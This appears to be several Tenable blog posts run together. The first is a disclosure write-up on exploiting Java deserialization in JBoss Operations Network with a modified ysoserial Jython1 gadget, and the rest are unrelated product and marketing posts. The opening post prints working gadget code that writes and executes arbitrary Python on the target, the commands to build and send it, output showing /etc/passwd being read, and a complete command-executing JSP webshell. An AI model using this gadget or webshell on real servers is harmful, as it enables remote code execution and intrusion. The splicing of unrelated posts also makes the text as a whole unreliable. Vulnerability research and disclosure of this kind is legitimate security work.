So we should test if we can exploit patched JON using Jython1, right? We want to write the webshell to a location that is accessible via the web server. The directory that the login page can be found in is: 

/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/

So we’ll try to write it there. To generate the gadget, we can use the following command:

java -jar ysoserial-0.0.5-SNAPSHOT-all.jar Jython1 '/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/shell.jsp' > ./gadget.bin

However, when we test the payload against JON it doesn’t appear to work. The file gets created but the contents aren’t there:

albino-lobster@ubuntu:~/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war$ ls -l
total 56
-rw-r--r--  1 albino-lobster albino-lobster 5178 Jan 15  2016 CoreGUI.html
drwxr-xr-x  2 albino-lobster albino-lobster 4096 Nov 17  2014 css
drwxr-xr-x  2 albino-lobster albino-lobster 4096 Nov 17  2014 fonts
drwxr-xr-x 11 albino-lobster albino-lobster 4096 Nov 17  2014 images
drwxr-xr-x  2 albino-lobster albino-lobster 4096 Nov 17  2014 img
drwxr-xr-x  2 albino-lobster albino-lobster 4096 Nov 17  2014 js
-rw-r--r--  1 albino-lobster albino-lobster 5265 Jan 15  2016 login
-rw-r--r--  1 albino-lobster albino-lobster 3565 Nov 17  2014 mashup.html
drwxrwxr-x  3 albino-lobster albino-lobster 4096 Jan 27  2016 META-INF
drwxr-xr-x  4 albino-lobster albino-lobster 4096 Jan 15  2016 org.rhq.coregui.CoreGUI
drwxr-xr-x  2 albino-lobster albino-lobster 4096 Jan 15  2016 org.rhq.core.RHQDomain
-rw-rw-r--  1 albino-lobster albino-lobster    0 Aug 10 11:26 shell.jsp
drwxrwxr-x  4 albino-lobster albino-lobster 4096 Jan 27  2016 WEB-INF

This is odd. I’ve seen this gadget work before. There is nothing weird about the exception the server provides us either. It terminates in a ClassCastException like we’d expect:

albino-lobster@ubuntu:~$ python on.py 127.0.0.1 7080
connecting to 127.0.0.1 port 7080
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 4976
Date: Wed, 10 Aug 2016 18:26:06 GMT
Connection: close<html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - org.python.core.PySingleton cannot be cast to java.lang.Integer</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>org.python.core.PySingleton cannot be cast to java.lang.Integer</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.lang.ClassCastException: org.python.core.PySingleton cannot be cast to java.lang.Integer
	com.sun.proxy.$Proxy1523.compare(Unknown Source)
	java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)

Perhaps Red Hat did something weird in the repackaging?

From another point of view, Jython1 isn’t great for writing a remote plugin. Touching the disk of a remote target is something that a plugin should avoid at all costs. Plugins that do touch disk get labeled ACT_DESTRUCTIVE_ATTACK and generally are used less due to concerns that the vulnerability scan may impact the integrity or availability of a server.

Considering these problems, this seems like a good opportunity to try and rewrite Jython1. A good starting point would be creating a version that simply reads /etc/passwd and returns it to the remote attacker. In order to accomplish that, we will need the Python bytecode that does this. We can accomplish that with the following steps:

1. Write the Python code that reads from /etc/passwd and then throws an exception:

albino-lobster@ubuntu:~$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.>>> def throw_exception():
...     f = open('/etc/passwd', 'r')
...     text = f.read()
...     raise Exception(text)
... >>>

2. Dump the disassembled instructions:

>>> import dis>>> dis.dis(throw_exception)
  2           0 LOAD_GLOBAL              0 (open)
              3 LOAD_CONST               1 ('/etc/passwd')
              6 LOAD_CONST               2 ('r')
              9 CALL_FUNCTION            2
             12 STORE_FAST               0 (f)

  3          15 LOAD_FAST                0 (f)
             18 LOAD_ATTR                1 (read)
             21 CALL_FUNCTION            0
             24 STORE_FAST               1 (text)

  4          27 LOAD_GLOBAL              2 (Exception)
             30 LOAD_FAST                1 (text)
             33 CALL_FUNCTION            1
             36 RAISE_VARARGS            1
             39 LOAD_CONST               0 (None)
             42 RETURN_VALUE        
>>> 

3. Dump the instructions as hex:

>>> print [hex(ord(x)) for x in throw_exception.func_code.co_code]
['0x74', '0x0', '0x0', '0x64', '0x1', '0x0', '0x64', '0x2', '0x0', '0x83', '0x2', '0x0', '0x7d', '0x0', '0x0', '0x7c', '0x0', '0x0', '0x6a', '0x1', '0x0', '0x83', '0x0', '0x0', '0x7d', '0x1', '0x0', '0x74', '0x2', '0x0', '0x7c', '0x1', '0x0', '0x83', '0x1', '0x0', '0x82', '0x1', '0x0', '0x64', '0x0', '0x0', '0x53']>>> 

4. Double check that we wrote functional Python!

>>> throw_exception()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 4, in throw_exception
Exception: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
…

We now need to convert the hex bytecode into something that we can use in Jython1.java. If you look at the output of step two you can see the size of each instruction. As such, we can combine steps two and three so that it looks like this in Java:

String code =
	"740000" + //0 LOAD_GLOBAL              0 (open)
	"640100" + //3 LOAD_CONST               1 ('/etc/passwd')
	"640200" + //6 LOAD_CONST               2 ('r')
	"830200" + //9 CALL_FUNCTION            2
	"7d0000" + //12 STORE_FAST              0 (f)

	"7c0000" + //15 LOAD_FAST               0 (f)
	"690100" + //18 LOAD_ATTR               1 (read)
	"830000" + //21 CALL_FUNCTION           0
	"7d0100" + //24 STORE_FAST              1 (text)

	"740200" + //27 LOAD_GLOBAL             2 (Exception)
	"7c0100" + //30 LOAD_FAST               1 (text)
	"830100" + //33 CALL_FUNCTION           1
	"820100" + //36 RAISE_VARARGS           1
	"640000" + //39 LOAD_CONST              0 (None)
	"53";      //42 RETURN_VALUE

Now we just need to update Jython1.java to reflect our use of consts and functions. We can just replace the existing code with this:

// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString("/etc/passwd"), new PyString("r")};
String[] names = new String[]{"open", "read", "Exception"};

// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());

If we generate a new Jython1 gadget using our updated code and send it to the JON server to get deserialized we now get this:

albino-lobster@ubuntu:~$ python on.py 127.0.0.1 7080
connecting to 127.0.0.1 port 7080
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 7776
Date: Wed, 10 Aug 2016 19:07:57 GMT
Connection: close<html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u></u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>Traceback (most recent call last):
  File "noname", line 0, in <module>
  File "noname", line 0, in <module>
Exception: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
…

Nice! We now have a good proof of concept to pass to Red Hat as part of Tenable’s coordinated disclosure efforts.

But why not go one step further? The current gadget in ysoserial seems a little too specific. Let’s write a more generalized Jython1 for everyone to use. If we look at the built-in Python functions, we see that there is an interesting built-in called execfile which will execute a provided Python script. This seems like it would be a useful mechanism to upload Python scripts to a remote host and execute them.

Fully generating the code for the generalized version of Jython1 is an exercise I’ll leave to the reader, but the end result in ysoserial looks like this:

public PriorityQueue getObject(String command) throws Exception {

	String[] paths = command.split(";");
	if (paths.length != 2) {
	    throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
	}

	// Set payload parameters
	String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");

	// Python bytecode to write a file on disk and execute it
	String code =
		"740000" + //0 LOAD_GLOBAL               0 (open)
		"640100" + //3 LOAD_CONST                1 (remote path)
		"640200" + //6 LOAD_CONST                2 ('w+')
		"830200" + //9 CALL_FUNCTION             2
		"7D0000" + //12 STORE_FAST               0 (file)

		"7C0000" + //15 LOAD_FAST                0 (file)
		"690100" + //18 LOAD_ATTR                1 (write)
		"640300" + //21 LOAD_CONST               3 (python code)
		"830100" + //24 CALL_FUNCTION            1
		"01" +     //27 POP_TOP

		"7C0000" + //28 LOAD_FAST                0 (file)
		"690200" + //31 LOAD_ATTR                2 (close)
		"830000" + //34 CALL_FUNCTION            0
		"01" +     //37 POP_TOP

		"740300" + //38 LOAD_GLOBAL              3 (execfile)
		"640100" + //41 LOAD_CONST               1 (remote path)
		"830100" + //44 CALL_FUNCTION            1
		"01" +     //47 POP_TOP
		"640000" + //48 LOAD_CONST               0 (None)
		"53";      //51 RETURN_VALUE

	// Helping consts and names
	PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
	String[] names = new String[]{"open", "write", "close", "execfile"};

	// Generating PyBytecode wrapper for our python bytecode
	PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
	Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());

	// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
	PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);

	// Prepare Trigger Gadget
	Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
	PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
	Object[] queue = new Object[] {1,1};
	Reflections.setFieldValue(priorityQueue, "queue", queue);
	Reflections.setFieldValue(priorityQueue, "size", 2);

	return priorityQueue;
}	

If we want to drop a webshell using the generalized Jython1 we just write a new Python script:

# Create the webshell from the original Jython1 (by Munoz & Schnieder)
webshell = ('<%@ page import="java.util.*,java.io.*"%>' +
            '<html><title>Do you not?</title>' +
            '<body><form method="GET" name="myform" action="">' +
            '<input type="text" name="cmd">' +
            '<input type="submit" value="Send">' +
            '</form>' +
            '<pre>' +
            '<%' +
            'if (request.getParameter("cmd") != null) {' +
                'out.println("Command: " + request.getParameter("cmd") + "<br>");' +
                'Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));' +
                'OutputStream os = p.getOutputStream();' +
                'InputStream in = p.getInputStream();' +
                'DataInputStream dis = new DataInputStream(in);' +
                'String disr = dis.readLine();' +
                'while ( disr != null ) {' +
                    'out.println(disr);' +
                    'disr = dis.readLine();' +
                '}' +
            '}' +
            '%>' +
            '</pre></body></html>')

f = open('/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/webshell.jsp', 'w')
f.write(webshell)
f.close()

We can then feed the Python script into the generalized Jython1 gadget like so:

java -jar ysoserial-0.0.5-SNAPSHOT-all.jar Jython1 "/home/albino-lobster/create_webshell.py;/tmp/cw.py" > gadget.bin

This command tells Jython1 to read in the local python file create_webshell.py and to write/execute it from /tmp/cw.py on the remote target. If we send our newly created Jython1 gadget to JON the webshell should appear at http://<JON address>/coregui/webshell.jsp. Here is how it looks:

Success!

Conclusion

I should emphasize that the exploitation of JON using deserialization and Jython has been disclosed to Red Hat already. The full timeline can be found in the Tenable Research Advisory.

Tenable also released a remote plugin to check for this vulnerability.

Acknowledgement

This blog entry involves the use of a tool called ysoserial. The tool was originally released by Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) at AppSecCali 2015. There have also been significant contributions from Moritz Bechler, Matthias Kaiser (@matthias_kaiser), Alvaro Munoz (@pwntester), and Christian Schneider (@cschneider4711). Thank you all for sharing your great work.

In Mr. Robot Episode 9 of Season 2, Angela starts to show her true intent; we learn that she is trying to expose a corporate cover-up that affected her family. While the details of the cover-up have not been revealed, her motives have come to light. For episode 6, our blog talked about a device called a Rubber Ducky. This device is a Human Interface Device (HID) that masquerades as a USB storage device. Along with good social engineering skills and a Rubber Ducky, as Angela demonstrates, most corporate security policies can be subverted and security controls bypassed. Insider threats are a real and serious concern to organizations, and are the common initial vector used with a data exfiltration attack.

The insider attack

An insider threat usually starts with some type of social engineering. Social engineering“refers to psychological manipulation of people into performing actions or divulging confidential information. A type of confidence trick for the purpose of information gathering, fraud, or system access.” Monica, Mr. Green’s assistant, is coerced by Angela to leave her desk and go to the foyer to get some documents, granting Angela access to Mr. Green’s office. Once in the office, Angela inserts the USB device (Rubber Ducky) into Mr. Green’s computer. The Rubber Ducky can be programmed to do all sort of attacks, basically anything a malicious person can do from a command line. In this case, the attack was to exfiltrate any cached credentials in hopes of gaining access to the network from a different location.

Tenable solutions

Tracking insider movements is key to good network security. Users often use only one or two computers during the work day; so if and when a user accesses a different computer, the security team should have a log ready to record the action. Organizations that run SecurityCenter Continuous View™ (SecurityCenter CV™) can use the Log Correlation Engine™ (LCE®) to monitor systems by collecting and correlating logs. LCE creates an event called “New-user” which tracks the time, date, username, and associated IP addresses used during authentication. Alerts can be configured in SecurityCenter to notify the Security Operations Center when such an event occurs. By creating a list of sensitive accounts, special alerts can be also be created to launch Nessus® scans and email key players of the possible breach:

Insiders can be employees, contractors, or partners who already have access to your organization's network and resources. Even as Angela is almost caught by an executive looking for Mr. Green, the fact that Angela and Monica look similar played to Angela’s advantage. The importance in this case is the application of physical security policies. For example, in highly sensitive areas where only one or two people should be present, having a picture on the wall or some other method of authentication could have prevented this attack.

The Insider Threat Dashboard brings together passive scanning and log correlation to assist with monitoring users on the network and combating the insider threat. Insider threats are different from external security threats in that they come from what would normally be considered a "trusted source." The threat is that insiders can either accidentally or intentionally exfiltrate data, change firewall rules or other configuration changes to further an exploit. Organizations trying to detect these threats face the challenge not only of differentiating attacks from "normal" traffic, but also of ensuring that security analysts and system administrators are not inundated with false positives from users performing legitimate tasks.

In this example, Angela eventually accesses file shares from her office using Mr. Green’s account. The Security Operations Center could have received email alerts and then contacted Monica to see if Mr. Green’s computer was changed or to find out where Mr. Green was currently located. SecurityCenter CV could have facilitated either of these scenarios using alerts and a properly deployed LCE and LCE clients.

Hacktivists

The episode closes with Angela revealing her true intent, acting as a whistleblower and reporting to the United States Nuclear Regulatory Commission. As the NRC analyst looks over the documents, he admits there are some clear violations and takes the documents to the director. Angela then meets the assistant director and as they talk, Angela realizes she made a mistake and tries to grab the USB drive and leave. Later that evening, Dominique comes to dinner at Angela’s house uninvited. Angela knows her time has come, and she has crossed the line from activist to hacktivist. Dominique mentions Angela has been under close surveillance for two months, and the game is up.

Is your organization at risk from a hacktivist or other insider threat? Is Mr. Robot working with an insider on your network; is data being exfiltrated? SecurityCenter CV can provide your security team with an accurate account of user activities and vulnerabilities, thereby reducing the effectiveness of such attacks.

If you are making decisions on how to spend the last of your FY 2016 IT budget, there are low-cost, high-impact products and services available that can improve your security status and make your life easier in the coming year.

This year’s major IT projects are already wrapped up or under way (or maybe on hold). Although next year’s IT budget is still a question mark, plans for major acquisitions should already be in process. But there is still time to take advantage of your remaining IT budget for this year to improve your agency’s information security and make life easier in the coming year.

There are plenty of low-cost, high-impact products and services available that can help you make the most of your year-end spending. They can help you get the most from tools and systems already in place, validate your current posture, and prepare you to meet the challenges and take advantage of opportunities in fiscal 2017.

Agencies will continue to face growing, rapidly evolving cyberthreats with static cybersecurity budgets

It is vital to get the most from your IT budget. The president’s IT budget proposal for the coming year is pretty much flat at $89.8 billion, an overall 1 percent increase for both military and civilian agencies from this year. What Congress will actually appropriate is still up in the air, but it is a pretty safe bet that agencies will continue to face growing, rapidly evolving cyberthreats with static cybersecurity budgets. This means agencies must get the full value from their existing security infrastructure, making full use of the capabilities already in place and ensuring that investments are producing the intended results. These are areas in which your remaining FY2016 budget can help.

You do not have to embark on lengthy acquisitions to take advantage of these opportunities. There already are procurement vehicles in place with many companies such as Tenable that can help you meet your needs by the end of the fiscal year.

Here are a few tips for making the most of your year-end spending.

• Evaluate your current environment. Understand your existing sites, networks and systems and the tools now in place for protecting them.
• Review your requirements and goals for IT security for the current year.
• Identify the gaps between your current status and your goals.
• Develop a plan to fill those gaps.

Here are a few examples of year-end efforts that can help you validate and improve your current status, and prepare for the coming year.

Professional service assist visit

All right, you have made the investment in the software and have read the manual to get it up and running. But a second pair of eyes and a second opinion never hurt—especially when they come from an expert. Some smart guys once said, “Just because you know how something works does not mean you know how to use it.” To ensure you are getting the most from your investment, it is not a bad idea to have the folks who created the software make sure it is fully optimized. And the knowledge you pick up from these professional services can increase your own value. Here are a few ideas to enhance your use of Tenable products.

Passive Vulnerability Scanner

The Tenable Passive Vulnerability Scanner™ (PVS™) performs automatic discovery of users, infrastructure and vulnerabilities, giving you continuous visibility into your network. It enables real-time network monitoring to identify suspicious traffic and to discover the full range of assets on your network. PVS is part of the DoD’s Assured Compliance Assessment Solution (ACAS), an integrated platform that also includes the Tenable SecurityCenter™ and Nessus® user interface to provide automated vulnerability scanning, configuration assessment and discovery. PVS is also available as a stand-alone solution and as a component in SecurityCenter Continuous View™ (SecurityCenter CV™).

Experiment with Agents

If you want to take SecurityCenter CV and your monitoring to the next level, maybe it’s time to start experimenting with Agents. Agents can help you keep tabs on pieces of infrastructure that are not always connected to the network and that you don’t always control. Agents can be a way for you to show leadership in improving network security.

Tenable can help

Tenable professional services can help you to get the most out of the tools you already have if you are using Tenable’s SecurityCenter CV. SecurityCenter CV uses multiple PVS sensors to analyze and aggregate data on ports and communication activity, and because SecurityCenter CV supports multiple users and privileges, multiple accounts can be created across an enterprise to share PVS data. It also integrates Nessus Agents to collect scan data from transient and difficult to reach systems, eliminating security blind spots.

Tenable also offers several different training options. Contact federal@tenable.com to discuss your site-specific training needs.

Tenable professional services can help you to get the most out of the tools you already have

To learn more about how Tenable can help you make the most of your year-end spending, contact federal@tenable.com.

We introduced Nessus® Cloud last year and have had great feedback from organizations who appreciate the ease and simplicity of deploying and maintaining a cloud-hosted vulnerability management solution. That said, given the long history of Nessus, it’s not uncommon for us to talk to people who still haven’t heard about this cloud-hosted Nessus option. So, whether you’re new to Nessus Cloud or not, in this article we’d like to share five things that you might not know about this new(ish) solution.

1. Nessus Cloud is available in multiple data centers

Tenable currently runs the Tenable Cloud in data centers in North America, Europe and Asia, which means Nessus Cloud is available locally to customers in those geographies. For customers who have strict requirements about where their vulnerability data is archived, such as organizations that fall under the European General Data Protection Regulation, having a local cloud option is a huge benefit.

2. It’s easy to run external scans from all over the world

We use the same Tenable Cloud globally-distributed infrastructure to make scanner pools available for Nessus Cloud from different parts of the world. Customers can use any of five scanner pools, anytime. Using a scanner that is geographically closer to scan targets can maximize scan speeds and minimize network latency. Or, running the same scan using different scanners is an easy and interesting way to see if your vulnerability posture changes if scanning is done from different locations.

3. Nessus Cloud comes with many pre-built integrations

We did a popular webcast about why some vulnerability management programs are more successful than others. One of the reasons for success was actively including stakeholders from outside of the security team in the program. Auditors, managers, developers, systems administrators, executives and more all have a role to play to help the vulnerability management program be successful.

One way Nessus Cloud makes it easier to include others is through pre-built integrations with many of the tools that these stakeholders use. For example, patch management integration can make it easier to compare scan results with the systems administrators on the operations team. Integrations with cloud infrastructure providers like Amazon Web Services and Microsoft Azure can help developers identify vulnerabilities before deploying new applications in these environments. Visit the Technology Integrations page on our website to learn about integrations with mobile, cloud, identity/access, and other complementary solutions.

4. There are flexible options for internal scanning

In addition to running external scans, it's beneficial for organizations to also regularly run internal network scans. Internal scans are useful as they can show what an attacker could view once the attacker has gotten past your external defenses, or worse, what an internal attacker could access. With Nessus Cloud, customers can run internal scans with Nessus scanners or agents. Most organizations use a mix of both to optimize their scan coverage.

Nessus scanners are available for a variety of Mac, Unix/Linux, and Windows operating systems. There’s no limit on the number of scanners that can be used with Nessus Cloud.

Last year, we introduced agents as another option for running scans. Many customers find agents helpful in extending scanning to hard-to-scan assets like transient laptops that aren’t typically connected to the network when an active scan is taking place. Agents are also useful for running authenticated scans, because once they’re installed, agents can run credentialed scans without the need for ongoing management. Similar to Nessus scanners, agents support Mac, Unix/Linux and Windows operating systems.

5. Nessus Cloud offers multiple ways to view and interpret scan data

If you’re familiar with the Nessus Professional product, you’re used to seeing lists of vulnerability results and having access to search and filter criteria to help you identify those priority vulnerabilities that should be fixed first. Those capabilities are still available with Nessus Cloud, but with the Nessus Cloud solution, you also get rich, graphical dashboard summaries of scans, scan results, and system activity, with easy drill-down to get more detailed information. The dashboard data is based on a selected time-span and can be exported to a variety of file formats. It’s another way to help you quickly identify the amount and severity of the vulnerabilities Nessus Cloud is detecting in your environment.

If you’d like to learn more about these or the many other capabilities of Nessus Cloud, get started with a free trial today.

Many organizations are migrating to cloud providers for infrastructure-as-a-service (IaaS) and platform-as-a-service (PaaS) functions. By moving key applications and infrastructure in the cloud, enterprises are lowering operating costs and easing the administrative burden on IT organizations.

However, security is often an overlooked aspect of moving these key applications to the cloud. The cloud brings inherent risk, and some of the risk is hard to measure for security managers. System administrators can and are spinning up new services and hosts that increase the attack surface in customer networks. In addition, security managers are losing visibility and control in cloud and hybrid environments.

In order to tackle these challenges, you must have a good understanding of what is operating in that environment, whether it be cloud or hybrid, and what risk it poses to your business. This issue can be a difficult one to solve in traditional environments, and with more companies moving to cloud service providers, this issue becomes even more challenging.

To help with these issues, Tenable has partnered with Google to integrate services between the Google Cloud Platform and Tenable SecurityCenter Continuous View™ (SecurityCenter CV™). The Google Cloud Platform (GCP) can export logs via its publish and subscribe service. This helps security teams to gain visibility into several aspects of their cloud infrastructure with the assistance of Tenable SecurityCenter CV. SecurityCenter CV enables users to access crucial data via log collection from GCP that provides companies with the visibility needed to understand the risk introduced by their extended network.

Here are some examples of the type of information GCP and SecurityCenter CV can provide.

GCP log data

SecurityCenter CV will act as a first line of defense when attackers are doing reconnaissance on your Google Cloud infrastructure. GCP will feed SecurityCenter CV log data that will alert users when unauthorized and potentially malicious web application scans are taking place. This can give your security teams an indication that something malicious is potentially occurring.

New hosts

SecurityCenter CV will alert users when new hosts are being used in the GCP environment. The impact of these particular alerts could be as simple as system administrators using too many resources or possibly attackers gaining a stronger foothold in your cloud environment.

Host level changes

SecurityCenter CV can also detect host level changes that occur in your cloud environment. These types of alerts will give security personnel potential indicators of compromise or visibility into an expanding attack surface.

More information

Our goal at Tenable is to help our customers secure their IT environment regardless of whether that environment is physical, virtual, cloud or mixed. We’re excited to add this integration with Google Cloud Platform to the list of integrations with other cloud platforms. For more information on the Tenable integration with Google Cloud Platform, please download our datasheet.

Nessus® supports many cloud service providers, including Microsoft Azure, Rackspace, OpenStack, Amazon AWS, and is certified by the Center for Internet Security for the Amazon AWS Foundations benchmark. SecurityCenter Continuous View also supports auditing Salesforce, AWS CloudTrail, and several other cloud based services.

How many security frameworks or compliance standards does IT need? If you ask compliance professionals, the answer would be, “Oh, just one more.” If you ask any IT professional, the most likely answer would be, “Oh gosh, not one more!” And yet organizations have been inundated with compliance standards; and it's not always clear how well they comply or how good their internal processes are when stacked up against industry-wide accepted standards.

In general, security standards all attempt to do very similar things. Namely, wrapping some sort of structure around processes and helping to define a baseline posture. Some standards take a general and all-encompassing road, while others attempt to focus on a particular technical area or business sector. Because of this, a natural and significant overlap emerges.

Security standards all attempt to do very similar things ... Because of this, a natural and significant overlap emerges

For example, take asset inventory recommendations. Many standards have a section devoted to inventory management, which has been well documented by experienced professionals as a key first step in assessing risk. NIST 800-53 defines some of this in section CM-8, CSC in CSC-1, the NIST Cybersecurity Framework (CSF) uses ID.AM-1, and so on. In fact, the overlap is so common that CSF includes a whole section devoted to which standards each of its controls map to.

The overlap may seem initially like a weakness, but quickly proves to be the opposite. If you look at the overlap as redundancy-not-wastefulness the strength of this overlap comes into focus. The redundant items across standards begin to take on the tone of a common language, and from there the small differences between industries or departments become manageable edge cases and outliers.

Compliance standards and Tenable audit files

The majority of the Nessus® compliance audit files and the checks within can be traced directly back to a benchmark or other source document such as a DISA STIG (Defense Information Systems Agency, Security Technical Implementation Guide) or CIS (Center for Internet Security) guide. These source documents lay out the items that should be tested and the specific values that have been deemed acceptable. These source documents didn’t just appear out of nowhere; in most cases, they grew from an attempt to turn the general structures in one (or more) of the security standards into actionable items.

For example, here’s a check from the CIS Windows 7 Configuration Benchmark:

1.1.1 Enforce password history

which in turn maps directly to NIST 800-53 control IA-5, PCI-DSS item 8.2.5 and CSF section PR.AC-1 and many others as you can see in the example below. There are countless such examples throughout the audit files.

<custom_item>
  type    	: PASSWORD_POLICY
  description : "1.1.1 Ensure 'Enforce password history' is set to '24 or more password(s)'"
    see_also : "https://benchmarks.cisecurity.org/tools2/windows/CIS_Microsoft_Windows_7_Benchmark_v3.0.0.pdf"reference : "800-53|IA-5,HIPAA|164.308(a)(5)(ii)(D),PCI-DSSv3.1|8.2.5,800-171|3.5.10,800-171|3.5.7,800-171|3.5.8,800-171|3.5.9,CSF|PR.AC-1,ISO/IEC-27001|A.9.4.3"
  value_type  : POLICY_DWORD
  value_data  : [24..MAX]
  password_policy : ENFORCE_PASSWORD_HISTORY</custom_item>

Cross-references in Nessus audit files

Over the last few months, Tenable has invested time in adding extensive compliance cross-references across all the audit files, in both Nessus and SecurityCenter™. So for example, if you run a CIS Benchmark Compliance scan as part of your normal process, you will also be collecting information in relation to NIST 800-53, CIS CSC and ISO 27001 at the same time. All of these results are immediately available, attached to each check result when your scan has completed, and then you can run more specific SecurityCenter dashboards for the relevant standards.

Standards cross-referenced in Nessus audits

Currently, Tenable has also added cross-references to Nessus audits for many different standards, ranging from general ones like NIST 800-53 and ISO 27001 to industry-specific standards like NERC CIP. Keep in mind though, that not every audit item maps to every other standard. Only those items that are specifically related to a given control within a standard have been assigned a cross-reference.

Here’s a short list of standards for which cross-references have been added:

• NIST 800-53 - Security and Privacy Controls for Federal Information Systems and Organizations
• Payment Card Industry (PCI) Data Security Standard (DSS)
• NIST Framework for Improving Critical Infrastructure Cybersecurity (NIST CSF)
• CIS Critical Security Controls for Effective Cyber Defense v6.0
• ISO/IEC 27001:2013
• Health Insurance Portability and Accountability Act of 1996 (HIPAA)
• North American Electric Reliability Corporation Critical Infrastructure Protection (NERC-CIP)
• NIST 800-171 - Protecting Controlled Unclassified Information in Nonfederal Information Systems and Organizations

Benefits to end users

Even if your specific environment is only concerned with one or two security standards, having the ability to communicate outward to partners or outside organizations will often pay dividends. The cross-reference enables you to communicate internally in terms that different audiences find useful. The cross-reference gives you the ability to speak in terms of PCI to compliance teams, NIST 800-53 to technical and security groups, and ISO 27001 to policy makers and executives. 

